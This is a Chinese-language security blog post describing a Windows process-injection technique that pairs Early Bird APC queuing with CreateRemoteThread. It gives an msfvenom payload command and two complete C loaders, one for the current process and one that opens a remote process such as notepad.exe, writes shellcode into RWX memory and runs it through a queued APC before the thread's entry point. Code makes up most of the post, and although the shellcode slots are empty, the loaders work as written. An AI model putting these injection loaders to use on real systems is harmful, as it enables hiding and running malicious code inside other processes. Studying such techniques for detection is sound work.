idiotc4t's blog
搜索文档…
GitBook 提供支持
Early Bird & CreateRemoteThread
在前面的Early Bird篇我们知道需要挂起创建一个单独的进程,在恢复挂起线程时程序会调用NtTestAlert函数对APC队列进行处理,试想,我们在已有进程内创建一个挂起的线程,然后往这个线程内插入用户apc,随后恢复进程,是不是同样可以在进程执行入口点前接管进程?

实现思路

    1.
    创建一个挂起的线程
    2.
    写入shellcode
    3.
    插入apc队列
    4.
    恢复线程

代码实现

由于进程会在入口点执行前被接管,所以我们其实并不用指向一个真正有效的入口点。
这里有个小坑,生成的shellcode需要指定exitfunc,不然默认的process退出技术会把整个进程结束。
1
msfvenom -p windows/x64/messagebox exitfunc=thread -f c
Copied!
    本进程代码执行:
1
#include<Windows.h>
2
#include<stdio.h>
3
4
char shellcode[] =
5
"";
6
7
int main() {
8
9
HANDLE hThread = NULL;
10
HANDLE hProcess = 0;
11
DWORD ProcessId = 0;
12
LPVOID AllocAddr = NULL;
13
14
15
hProcess = GetCurrentProcess();
16
AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(shellcode) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
17
WriteProcessMemory(hProcess, AllocAddr, shellcode, sizeof(shellcode) + 1, 0);
18
19
20
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);
21
22
QueueUserAPC((PAPCFUNC)AllocAddr, hThread, 0);
23
ResumeThread(hThread);
24
WaitForSingleObject(hThread,INFINITE);
25
CloseHandle(hProcess);
26
CloseHandle(hThread);
27
return 0;
28
29
}
Copied!
    远程线程注入:
1
#include<Windows.h>
2
#include<stdio.h>
3
4
char shellcode[] =
5
"";
6
7
int main() {
8
9
HANDLE hThread = NULL;
10
HANDLE hProcess = 0;
11
DWORD ProcessId = 0;
12
LPVOID AllocAddr = NULL;
13
14
15
//hProcess = GetCurrentProcess();
16
hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, 12524);//notepad.exe
17
AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(shellcode) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
18
WriteProcessMemory(hProcess, AllocAddr, shellcode, sizeof(shellcode) + 1, 0);
19
20
21
hThread = CreateRemoteThread(hProcess,0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);
22
23
QueueUserAPC((PAPCFUNC)AllocAddr, hThread, 0);
24
ResumeThread(hThread);
25
//WaitForSingleObject(hThread,INFINITE);
26
CloseHandle(hProcess);
27
CloseHandle(hThread);
28
return 0;
29
30
}
Copied!
最近更新 1yr ago
复制链接